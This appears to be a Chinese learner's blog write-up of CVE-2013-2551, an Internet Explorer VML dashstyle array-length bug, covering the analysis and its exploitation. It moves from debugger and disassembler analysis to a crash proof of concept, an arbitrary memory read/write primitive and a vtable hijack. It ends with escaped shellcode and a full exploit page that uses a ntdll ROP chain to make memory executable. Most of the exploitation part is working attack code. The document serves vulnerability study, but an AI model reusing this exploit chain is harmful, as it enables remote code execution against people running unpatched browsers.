小白的CVE-2013-2551 分析 & 利用
0xFF 前言
小白第一次尝试来分析浏览器的漏洞,在此之前我不会html,javascript,css,总之跟网站有关的我都不会。然后我花了一天去看与之相关的东西。学习了下javascript的基本语法。总之浏览器的东西真的好复杂啊。分析和利用这个cve-2013-2551也算是开启了新世界的大门吧。大概的路线是:
了解html+javascript+css --> 了解ie相关 -->调试 -->利用。
感谢那些在网上分享知识的大佬,没有你们的文章,我想短时间内搞懂一些浏览器的东西,是根本不可能的。
具体大佬连接在最后。
本文章仅仅是一个小白,自娱自乐的分析cve-2013-2551这个漏洞的记录而已。大部分为抄写笔记,所以很多雷同,大佬见到勿喷。
我是以一个从来没有接触过浏览器漏洞分析利用,没有任何exp编写经验的视角写的这篇文章,所以会有点长,会非常细。
0x00 环境和工具
- windows 7 cn_windows_7_ultimate_with_sp1_x86_dvd_u_677486.iso
- Windbg
- IDA
接下来的文章,就是在上面给出的这个windows 7 旗舰版下分析的,安装系统之后关闭了自动更新,然后使用windbg下载了相关符号文件。
ie版本:
ntdll (C:\Windows\System32\ntdll.dll)版本:
0x01 分析POC
POC
将下面代码复制到一个poc.html内。
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
POC by VUPEN
</title>
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function crashme(){
var vml1 = document.getElementById("vml1")
var shape = document.getElementById("shape")
for (var i=0; i<0x400; i++){ //set up the heap
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0x400; i++){
a[i].rotation; //create a COARuntimeStyle
if (i == 0x300) { //allocate an ORG array of size B0h
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length = 0 - 1
shape.dashstyle.array.length = 0 - 1
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
try{
shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
}
catch(e) {continue}
}
}
}
</script>
<body onload="createRects();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
<v:oval>
<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
</v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>
</html>
调试
首先使用gflags给iexplorer.exe 开启PageHeap
开启之后就可以开始分析了!
1、打开这个poc.html。会弹出如下页面:
这个时候先不要点那个“为了有利于保护安全性,Inter ..... 选项”。
2、打开windbg,F6 出现以下对话框:
可以发现出现了两个iexplore.exe,那么我们应该选择哪个呢? 选第二个(第二个为子进程),记住要选第二个,不管前面那个数字大小,选第 二 个 就行了。
选了第二个,点击OK按钮,出现下图:
然后输入g命令,回车。
3、允许阻止的内容,然后点击crash!!!按钮。
发现windbg断下(可能没有断下,重新来一遍就行了)。
开始栈回溯,使用k命令:
可以看到是vgx模块出的错,那么下面把vgx.dll拿出来使用IDA分析。
使用lmvm 命令得到vgx.dll的路径:
4、开始分析vgx!ORG::Get函数。
下面我们来逆向调试一下。调用到ORG::Get()时它的三个参数,和memcpy的三个参数的值是啥,看看能不能找出什么线索。
重新打开poc.html使用windbg附加,然后使用bp vgx!ORG::Get()
下断点,然后g
运行,点击crash!!!按钮。
可以发现断下,然后使用p单步运行3次(保证栈帧形成),然后查看参数如下图:
可以看到第三个参数是0x44。等等我们poc中的
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);//0x2E+0x16=0x44
不就是0x44吗?难道和这儿有关?那我们将poc中的那个0x2E+0x16改为:
marginLeftAddress = vml1.dashstyle.array.item(0x66);
再来试试呢?下面是我试出来的:
还真是。那么继续看看memcpy的三个参数。
memcpy(
Dst,
(const void *)(*((_DWORD *)this + 4) + index * (*((_DWORD *)this + 2) & 0xFFFF)),
*((_DWORD *)this + 2) & 0xFFFF);
可以看到 第二个参数(源地址)和 第三个参数(拷贝长度) 都于this有关。这里的this是ORG对象的指针。在windbg中查看下this的各个成员的值:
其中那个0x1d976f50即 *((_DWORD *)this + 4) 是非常有趣的,它所指向内存的地址里面的东西居然是1 2 3 ...
那不就是poc.html中的:
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
那么可以猜测ORG::Get函数的功能就是获取vml1.dashstyle中的第几个元素的值。比如ORG::Get(this,&Dst,1),那么执行后Dst的值就是1了。
但是vml1.dashstyle中一共也就0x2C个元素啊。但是调试的时候却发现第三个参数index却为0x44。很明显访问越界了。而像这种对象,肯定是存在长度检测的,比如下面这种代码:
ORG::GetXXX(this,Dst,index)
{
...
if(index < this->size)
{
ORG::Get(this,Dst,index);
}
...
}
或者说ORG这个对象应该有个字段存储着当前的元素个数的。
来看看代码,一层一层向上栈回溯。慢慢找判断,一般来说就是向上一层。
向上一层调用的是:vgx!COALineDashStyleArray::get_item函数。很幸运,可以找到是否要调用ORG::Get的代码如下:
调试得到,totalnum的值居然是0xffff !!!也就是说:
而poc.html中存在如下语句:
vml1.dashstyle.array.length = 0 - 1
shape.dashstyle.array.length = 0 - 1
猜测这就是对长度进行设置的代码。
此时我们已经大概了解的这个漏洞的原理,但还是没有追溯到修改数组长度的根源。接下来我们将要试图找到修改length的具体代码。
5、下面的步骤是参看hpasserby大佬的文章中的方法分析 来寻找修改length的具体代码。
因为在c++在创建对象的时候,会将对象的虚表地址拷贝到对象的内存中,所以我们在代码中搜索对vgx!ORG::'vftable'
的引用,试图找到创建vgx!ORG
对象的代码。
IDA中,在汇编代码窗口使用快捷键(要在汇编窗口使用哦,要不然搜不到) : ALT + T ,然后输入ORG::`vftable' 进行搜索。
得到结果如下:
可以看到,除了虚表本身以及两个ORG对象的成员函数外,只剩一个函数:
signed int __stdcall MsoFCreateArray(__int16 a1, _DWORD *a2)
先把那个“为了有利于安全性”点了之后,再在windbg中对其下断点,g之后,再点crash!!!:
0:015> bp vgx!MsoFCreateArray
0:015> g
Breakpoint 0 hit
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1df esp=04749534 ebp=04749548 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray:
6e86d1df 8bff mov edi,edi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e1 esp=04749534 ebp=04749548 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0x2:
6e86d1e1 55 push ebp
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e2 esp=04749530 ebp=04749548 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0x3:
6e86d1e2 8bec mov ebp,esp
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e4 esp=04749530 ebp=04749530 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0x5:
6e86d1e4 56 push esi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e5 esp=0474952c ebp=04749530 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0x6:
6e86d1e5 57 push edi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e6 esp=04749528 ebp=04749530 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0x7:
6e86d1e6 bf01010000 mov edi,101h
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=00000101
eip=6e86d1eb esp=04749528 ebp=04749530 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0xc:
6e86d1eb 57 push edi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=00000101
eip=6e86d1ec esp=04749524 ebp=04749530 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0xd:
6e86d1ec 6a14 push 14h
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=00000101
eip=6e86d1ee esp=04749520 ebp=04749530 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0xf:
6e86d1ee e88a67fdff call vgx!operator new (6e84397d)
0:005> p
eax=1e468fe8 ebx=047495c8 ecx=00000014 edx=00000000 esi=047495cc edi=00000101
eip=6e86d1f3 esp=04749520 ebp=04749530 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vgx!MsoFCreateArray+0x14:
6e86d1f3 59 pop ecx
//eax=1e468fe8就是对象的地址
可以发现这里创建了一个vgx!ORG
对象,我们对它的length所在地址下内存断点,来观察其值的变化。这里我就使用条件断点。
0:005> ba w2 1e468fe8+4 ".if (low(poi(1e468fe8+4))=0xffff) {dd 1e468fe8 l8} .else {gc}"
0:005> g
1e468fe8 6e857258 002cffff 00040004 00000101
1e468ff8 1d9d4f50 d0d0d0d0 ???????? ????????
eax=0000002c ebx=0000002d ecx=1d9d4f4c edx=0000002c esi=1e468fec edi=00000004
eip=6e8ac3c6 esp=047499c0 ebp=047499cc iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
vgx!MsoFRemovePx+0xaa:
6e8ac3c6 5f pop edi
0:005> k
ChildEBP RetAddr
047499cc 6e8ac7c6 vgx!MsoFRemovePx+0xaa
047499e4 6e86cf79 vgx!MsoDeletePx+0x15
047499f8 6e8bdbac vgx!ORG::DeleteRange+0x17
04749a24 77a93e75 vgx!COALineDashStyleArray::put_length+0xd7
04749a40 77a93cef OLEAUT32!DispCallFunc+0x165
04749ad0 6e8a47c1 OLEAUT32!CTypeInfo2::Invoke+0x23f
04749c5c 6e8c4a88 vgx!COADispatch::Invoke+0x89
...
看栈回溯,可以看到一个名为vgx!COALineDashStyleArray::put_length的函数,put_Length!!!,猜测就是这个函数设置的长度。那么就从这个函数开始IDA F5。
6、F5 COALineDashStyleArray::put_length得到下图:
比较处的汇编代码:
esi为-1,原始的oldLength为大于等于0的值,所以条件满足,跳转执行ORG::DeleteRange函数。(这里正常的逻辑是,如果newLength>oldLength,则不跳转,new一个空间;如果newLength<oldLength则调用ORG::DeleteRange删除之前的,进行截断。)
接着跳进ORG::DeleteRange函数,进行F5:
继续跟进MsoDeletePx函数,进行F5:
继续跟进MsoFRemovePx函数,进行F5:
汇编代码:
至此,分析完毕。
现在让我们回首一下:
调用
vml1.dashstyle.array.item(1)
我们可以读取到
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
中的1。
通过
vml1.dashstyle.array.item(1)=6
我们可以将1改为6。
而通过漏洞我们可以将其长度扩展到0xffff
所以现在我们拥有了一个跨界的读和写。
那么假如我们通过合理的布局,将一个对象布置在 vml1.dashstyle的值所指内存的后面,那么我们就可以实现读写其对象成员的值(虚表之类的)。
0x02 利用
首先还是先把gflags给关了。
构造R3任意内存读写
注意我使用的ie版本,和ntdll的版本!要不然利用会完全不一样。
具体原理可以去看后面的参考文章
首先让我们来看一个简化版的利用exp1.html
<html lang="zh">
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>cve-2013-2551 win7 sp1 IE8.0</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
<script>
var rect_array = new Array();
var a = new Array();
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape");
rect_array[i].id = "rect" + i.toString();
document.body.appendChild(rect_array[i]);
}
}
function leak(){
var vml1 = document.getElementById("vml1");
for (var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i = 0; i < 0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length = 0 - 1;
for (var i = 0; i < 0x400; i++){
marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
a[i].marginLeft = 'a'
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress_orgin != marginLeftAddress_modify) {
var leak = a[i].marginLeft;
alert("0x"+marginLeftAddress_modify.toString(16));
break;
}
}
}
createRects();
leak();
</script>
</html>
打开这个exp1.html,然后就会弹出一个提示框,这个时候不要关闭这个提示框,而是使用windbg附加iexploer进程,然后dd 这个提示框的地址。得如下图:
额,这个0x61不就是字符'a'吗?
再看看exp1.html中的代码:
a[i].marginLeft = 'a';
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
a[]数组是_vgRuntimeStyle对象。而a[i].marginLeft的值是'a',难道vml1.dashstyle.array.item(0x2E+0x16)读到的是_vgRuntimeStyle.marginLeft的地址?我们来验证一下:
由于这个时候我并不知道dashstyle的值的地址,所以只好使用暴力搜索的方法来搜索了。
果然如此,vml1.dashstyle.array.item(0x2E+0x16)读到的就是_vgRuntimeStyle.marginLeft的地址。
那么我们就可以通过vml1.dashstyle.array.item(0x2E+0x16)读写_vgRuntimeStyle.marginLeft的地址。使用
_vgRuntimeStyle.marginLeft=就可以实现任意R3空间的内存读写了。
给一张图加深理解:
劫持eip
更详细的请参看后面的参考文章
exp2.html
<html lang="zh">
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>cve-2013-2551 win7 sp1 IE8.0</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
<script>
var rect_array = new Array();
var a = new Array();
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape");
rect_array[i].id = "rect" + i.toString();
document.body.appendChild(rect_array[i]);
}
}
function leak(){
var vml1 = document.getElementById("vml1");
for (var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i = 0; i < 0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length = 0 - 1;
for (var i = 0; i < 0x400; i++){
marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
a[i].marginLeft = 'a'
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress_orgin != marginLeftAddress_modify) {
var leak = a[i].marginLeft;
break;
}
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for(var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x300){
vml1.dashstyle = "1 2 3 4";
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0; //覆盖到虚表
for (var i=0; i<0x400; i++)
{
delete a[i];
CollectGarbage();
}
alert("done");
}
createRects();
leak();
exploit();
</script>
</html>
打开这个exp2.html,运行后,不要先点那个“为了有利于保护安全性”,而是先使用windbg附加ie后再点。之后会断下来。
真正call 的是 dword ptr [ecx+8] 。而我们可以控制vml1.dashstyle.array.item(6) 的值来控制ecx值。
利用利用
ok,下面开始总结下利用思路:我就想弹个计算器就行了,下面是一段简易的弹计算器shellcode。我们需要将它转换成html中的形式。具体需要使用到两个js函数。escape和unescape。
首先将 shellcode转换成word输出。(我这儿用的c语言)
#include<stdio.h>
#include<Windows.h>
_declspec(naked) void func()
{
_asm
{
mov eax, fs:[0x30];// peb
mov ebx, [eax + 0xc]; //peb->Ldr
mov esi, [ebx + 0x14];//peb->Ldr.Inmemorder
lodsd;//eax="ntdll.dll"
xchg eax, esi;
lodsd;//eax="kernel32.dll"
mov ebx, [eax + 0x10]; //ebx = base address
mov edx, [ebx + 0x3c]; //DOS->e_ifanew
add edx, ebx; // PE header
mov edx, [edx + 0x78];// edx = offset of EAT
add edx, ebx;// EAT
mov esi, [edx + 0x20]; //Address of Names(RVA)
add esi, ebx;//Name Table
xor ecx, ecx;//index=0
Find_index:
inc ecx;
lodsd;//mov eax,[esi] RVA
add eax, ebx;
cmp dword ptr[eax], 0x50746547;//PteG
jnz Find_index;
cmp dword ptr[eax + 0x4], 0x41636f72;//Acor
jnz Find_index;
cmp dword ptr[eax + 0x8], 0x65726464; //erdd
jnz Find_index;
//get!
mov esi, [edx + 0x24];//AddressOfNameOrdinals RVA
add esi, ebx;//Ord Table
mov cx, [esi + ecx * 2];//cx = realindex
mov esi, [edx + 0x1c];//AddressOfFunction RVA
add esi, ebx;//
dec ecx;// indx-1
mov edx, [esi + ecx * 4];
add edx, ebx;//GetProcAddress real address
push 0x00636578;//xec
push 0x456E6957;//WinE
push esp;
push ebx;
call edx;
push 0;
push 0x636c6163;//calc
mov edi, esp;
push 0;
push edi;
call eax;
ret
}
}
int main()
{
WORD data;
for (int i = 0; i <= 0x71/2; i++)
{
data = *((WORD*)func+i);
printf("\\u%04x", data);
}
return 0;
}
运行得:
使用js:
<script type="text/javascript">
shell = "\ua164\u0030\u0000\u588b\u8b0c\u1473\u96ad\u8bad\u1058\u538b\u033c\u8bd3\u7852\ud303\u728b\u0320\u33f3\u41c9\u03ad\u81c3\u4738\u7465\u7550\u81f4\u0478\u6f72\u4163\ueb75\u7881\u6408\u7264\u7565\u8be2\u2472\uf303\u8b66\u4e0c\u728b\u031c\u49f3\u148b\u038e\u68d3\u6578\u0063\u5768\u6e69\u5445\uff53\u6ad2\u6800\u6163\u636c\ufc8b\u006a\uff57\uc3d0"
shell = escape(shell)
document.write(shell)
</script>
运行得到shellcode:
这个shellcode是有坑的,不是指这个shellcode运行不起来,而是... 待会儿会说。
%uA1640%00%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0
还记得exp1.html中的:
a[i].marginLeft = 'a'
吗?我们可以这样做:
a[i].marginLeft = unescape("%uA1640%00%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0")
调试一下,看看是否写入shellcode。
出乎意料,只写入了\ua164\u0030\u0000。
原来是以\u0000就停止写入了。而mov eax, fs:[0x30];
在句汇编恰好就是64 a1 30 00 00 00。
那怎么办呢?网上的老哥是用的
xor ecx, ecx
mov eax, dword ptr fs : [ecx + 30h]
来解决的,将mov eax, fs:[0x30]替换成上面那两句后,按照上面的步骤可以得到如下shellcode
%uC933%u8B64%u3041%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0
这下再来调试试试呢?
写入成功!!!
而a[i].marginLeft的地址我们可以通过vml1.dashstyle.array.item(0x2E+0x16)得到。好的,那么现在我们已经得到了shellcode的地址了。下面需要做的就是写rop链,将这段内存改为可执行属性。
首先我们需要泄露ntdll的地址。
试试u SharedUserData!SystemCallStub。这是个固定的地址0x7ffe0300,用来实现快速系统调用。可以使用它来泄露ntdll的基址。(大佬想出的方法,小白只能膜拜)
所以使用任意内存读写,可以得到ntdll的基址。
先获取0x7ffe0300处的值 ,然后用这个值减去0x470b0即可得到ntdll的基址。
下面就可以构造rop了。
首先是做stack pivot。参考的是大佬的来做的。具体可以参见下面的完整exp。
完整exp。
<html lang="zh">
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>cve-2013-2551 win7 sp1 IE8.0</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
<script>
var rect_array = new Array();
var a = new Array();
var rop_addr;
var ntdllbase;
var shellcodeaddr;
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape");
rect_array[i].id = "rect" + i.toString();
document.body.appendChild(rect_array[i]);
}
}
function leak(){
var vml1 = document.getElementById("vml1");
for (var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i = 0; i < 0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
var length_orig = vml1.dashstyle.array.length;//44
vml1.dashstyle.array.length = 0 - 1;
for (var i = 0; i < 0x400; i++){
marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
a[i].marginLeft = unescape("%uC933%u8B64%u3041%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0");
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress_orgin != marginLeftAddress_modify) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
var shelladdr = marginLeftAddress_modify;
ntdllbase = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16) - 0x470B0;
shellcodeaddr = shelladdr;
var rop_chain = tab2uni(get_ropchain(shelladdr));
a[i].marginLeft = rop_chain;
rop_addr = vml1.dashstyle.array.item(0x2E+0x16);
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
vml1.dashstyle.array.length = length_orig;
break;
}
}
}
function get_ropchain(shelladdr){
var arr = [
ntdllbase + Number(0x1) ,
ntdllbase + Number(0x1) ,
ntdllbase + Number(0x47733), //# XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN
0x200,// NtProtectVirtualMemory的第三个参数所指的值
];
return arr;
}
function d2u(dword) {
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}
function tab2uni(tab) {
var uni = ""
for(var i=0;i<tab.length;i++) {
uni += d2u(tab[i]);
}
return uni;
}
function exploit(){
var vml1 = document.getElementById("vml1")
for(var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x300){
vml1.dashstyle = "1 2 3 4";
}
}
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = rop_addr; //覆盖到虚表
vml1.dashstyle.array.item( 9) = ntdllbase+Number(0x47643); //pop edi # ret
vml1.dashstyle.array.item(10) = ntdllbase+Number(0x45f18); //NtProtectVirtualMemory
vml1.dashstyle.array.item(11) = ntdllbase+Number(0xc71ef); //pop esi # ret
vml1.dashstyle.array.item(12) = shellcodeaddr;
vml1.dashstyle.array.item(13) = ntdllbase+Number(0xcb72a); //pop ebp # ret
vml1.dashstyle.array.item(14) = 0-1; // -1
vml1.dashstyle.array.item(15) = ntdllbase+Number(0x348b9); //pop ebx # ret
vml1.dashstyle.array.item(16) = rop_addr+12; //ptr RegionSize
vml1.dashstyle.array.item(17) = ntdllbase+Number(0x9a30c); //pop eax # ret
vml1.dashstyle.array.item(18) = 0-96601473;
vml1.dashstyle.array.item(19) = ntdllbase+Number(0x3ab39); //add eax,5C205C1h # ret
vml1.dashstyle.array.item(20) = ntdllbase+Number(0x36d70); //xchg eax,edx # ret
vml1.dashstyle.array.item(21) = ntdllbase+Number(0xcd241); //pop ecx # ret
vml1.dashstyle.array.item(22) = rop_addr; //ptr to OldAccessProtection
vml1.dashstyle.array.item(23) = ntdllbase+Number(0x227c4); //pushad # ret
vml1.dashstyle.array.item(24) = shellcodeaddr;
vml1.dashstyle.array.item(25) = Number(0x10400);
vml1.dashstyle.array.item(26) = shellcodeaddr;
for (var i=0; i<0x400; i++)
{
delete a[i];
CollectGarbage();
}
alert("done");
}
createRects();
leak();
exploit();
</script>
</html>
0x03 总结:
浏览器很难,很难。ROP很需要技巧和脑洞,利用很需要积累和脑洞。我多总结,多想。
强烈安利0x9A82,hpasserby的文章。感觉可以学到好多。
0x04 参考
都是一些大佬的文章:
https://www.cnblogs.com/Danny-Wei/p/3766432.html ROP 参考
https://hpasserby.me/post/ef2727d8.html 非常详细的文章,本文大部分都是抄的这位大佬的。(要翻wall)
https://www.cnblogs.com/Ox9A82/p/5782425.html 巨佬的文章,非常值得学习,他看雪论坛里面也有非常多的文章,还有浏览器的教程。